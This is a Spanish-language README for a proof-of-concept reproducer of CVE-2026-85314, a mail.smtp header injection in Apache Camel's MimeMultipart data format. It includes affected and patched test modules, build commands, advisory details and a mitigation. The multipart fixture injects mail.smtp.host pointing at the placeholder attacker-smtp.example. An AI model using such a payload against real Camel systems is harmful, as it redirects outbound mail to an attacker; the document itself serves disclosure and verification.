
Reproductor de prueba de concepto ejecutable para CVE-2026-85314, que demuestra la inyección de cabeceras mail.smtp en MimeMultipart de camel-mail en Camel Spring Boot y Camel Quarkus, con controles parcheados.
MimeMultipart (mail.smtp*)Reproductor de prueba de concepto ejecutable para la vulnerabilidad de Apache Camel en la que el formato de datos MimeMultipart de camel-mail mapeaba las cabeceras de un mensaje sobre el Exchange al deserializar usando un DefaultHeaderFilterStrategy simple, que no elimina el espacio de nombres mail.smtp. / mail.smtps.. CVE-2026-46584 cerró la ruta por la que las cabeceras de correo llegaban al Exchange sin filtrar, pero este formato de datos mantenía una ruta sin filtrar: esos nombres de cabecera no llevan el prefijo Camel (por lo que el filtro de cabeceras de un consumidor tampoco los bloquea), y el espacio de nombres mail.smtp controla cómo se conecta y envía un productor de correo posterior. Un remitente externo de un mensaje multipart podría, por tanto, inyectar propiedades de sesión de JavaMail y redirigir la conexión de correo (CWE-20). Se trata de una corrección incompleta de CVE-2026-46584 en lugar de una nueva clase de defecto.
| Entorno de ejecución | Directorio | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-mail 4.22.0 (afectado; corregido en 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-mail (Camel 4.22.0, afectado; control corregido CQ 3.40.0 / Camel 4.22.1) |
Ambos módulos demuestran el comportamiento afectado y el corregido contra el MimeMultipartDataFormat real.
El driver deserializa un mensaje multipart controlado por el atacante (modo de cabeceras en línea, replicando el propio MimeMultipartDataFormatTest de la corrección) que transporta propiedades de sesión de JavaMail como cabeceras MIME, y después informa cuáles llegaron al Exchange:
mail.smtp.host: attacker-smtp.example
mail.smtp.port: 2525
mail.smtps.auth: false
X-Normal: keep-me <- an unrelated header, should always survive
Content-Type: text/plain
Body text
mail.smtp.host, mail.smtp.port, mail.smtps.auth sobreviven al unmarshal y se convierten en cabeceras de Exchange — un productor de correo posterior las leería, por lo que el remitente redirige hacia dónde se envía el correo.mail.smtp.* se filtra en el unmarshal (mediante MailHeaderFilterStrategy), mientras que la cabecera no relacionada X-Normal se conserva.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: mail.smtp* injected = true; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85314-mail-mime-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): mail.smtp* injected = true
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false
| Propiedad | Valor |
|---|---|
| Componente | camel-mail (MimeMultipartDataFormat, unmarshal) |
| CWE | CWE-20 (Validación de entrada incorrecta) |
| Gravedad | MEDIA |
| Vector de ataque | El mensaje multipart de un remitente externo transporta cabeceras MIME mail.smtp.*; el unmarshalling las mapea sobre el Exchange |
| Impacto | Las propiedades de sesión de JavaMail inyectadas dirigen cómo/dónde se conecta y envía un productor de correo posterior |
| Versiones afectadas | Desde 4.0.0 anterior a 4.18.5, desde 4.19.0 anterior a 4.22.1 |
| Versiones corregidas | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24419 |
| Relacionado | Corrección incompleta de CVE-2026-46584 |
| Crédito | Claude Security Scan Tool |
Aviso: https://camel.apache.org/security/CVE-2026-85314.html
El módulo afectado de Quarkus está construido sobre CQ 3.39.0 (Camel 4.22.0). El control parcheado es CQ 3.40.0 (Camel 4.22.1).
MimeMultipartDataFormat ahora usa MailHeaderFilterStrategy en lugar de
DefaultHeaderFilterStrategy, por lo que el espacio de nombres mail.smtp. / mail.smtps. se filtra en el unmarshal exactamente igual que el
consumidor de correo lo filtra en el lado entrante (CAMEL-23522) — cerrando la ruta que CVE-2026-46584 dejó abierta.
Elimine el espacio de nombres después del formato de datos con removeHeaders("mail.smtp*") antes de cualquier productor de correo.
Este repositorio se publica con fines educativos y defensivos: para ayudar a los usuarios de Apache Camel a comprender la
vulnerabilidad, verificar si se ven afectados y confirmar que la actualización la resuelve. El mensaje multipart es un
fixture benigno en proceso; attacker-smtp.example es un marcador de posición y no se envía ningún correo. No utilice este material
contra sistemas que no sean de su propiedad o que no opere.